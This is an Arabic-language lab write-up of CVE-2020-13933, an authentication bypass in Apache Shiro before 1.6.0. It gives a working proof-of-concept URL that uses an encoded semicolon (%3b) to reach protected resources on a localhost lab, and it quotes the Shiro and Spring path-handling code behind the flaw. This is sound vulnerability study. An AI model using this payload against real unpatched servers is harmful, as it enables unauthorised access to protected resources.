مختبر CVE-2020-13933

ثغرة تجاوز المصادقة في Apache Shiro < 1.6.0

PoC

http://127.0.0.1:8080/res/%3bpoc

بيئة المختبر

شرح الكود

• ShiroConfig.java：
  　　تكوين الصلاحيات: عند طلب مورد /res/*، يتم إعادة التوجيه (302) إلى صفحة تسجيل الدخول للمصادقة
• NameController.java：
  　　· /res/{name}: طلب المورد المسمى name (يؤدي إلى تشغيل المصادقة)
  　　· /res/: لا يطلب أي مورد (لا يؤدي إلى تشغيل المصادقة)

التحقق من المختبر

عند عدم تحديد اسم مورد في مسار الطلب، لا يتم تشغيل المصادقة ولا يتم إرجاع أي مورد: http://127.0.0.1:8080/res/

عند تحديد اسم مورد في مسار الطلب، يتم إعادة التوجيه (302) إلى صفحة المصادقة: http://127.0.0.1:8080/res/poc

عند إنشاء طلب PoC محدد لمورد معين، لا يتم تشغيل المصادقة ويتم إرجاع المورد: http://127.0.0.1:8080/res/%3bpoc （%3b هو ترميز URL لـ ;）

مواضع تصحيح أخطاء الثغرة

shiro-web-1.5.3.jar

// org.apache.shiro.web.util.WebUtils.java
// line 111

public static String getPathWithinApplication(HttpServletRequest request) {
    return normalize(removeSemicolon(getServletPath(request) + getPathInfo(request)));
}

spring-web-5.2.5.RELEASE.jar

// org.springframework.web.util.UrlPathHelper.java
// line 459

private String decodeAndCleanUriString(HttpServletRequest request, String uri) {
    uri = removeSemicolonContent(uri);
    uri = decodeRequestString(request, uri);
    uri = getSanitizedPath(uri);
    return uri;
}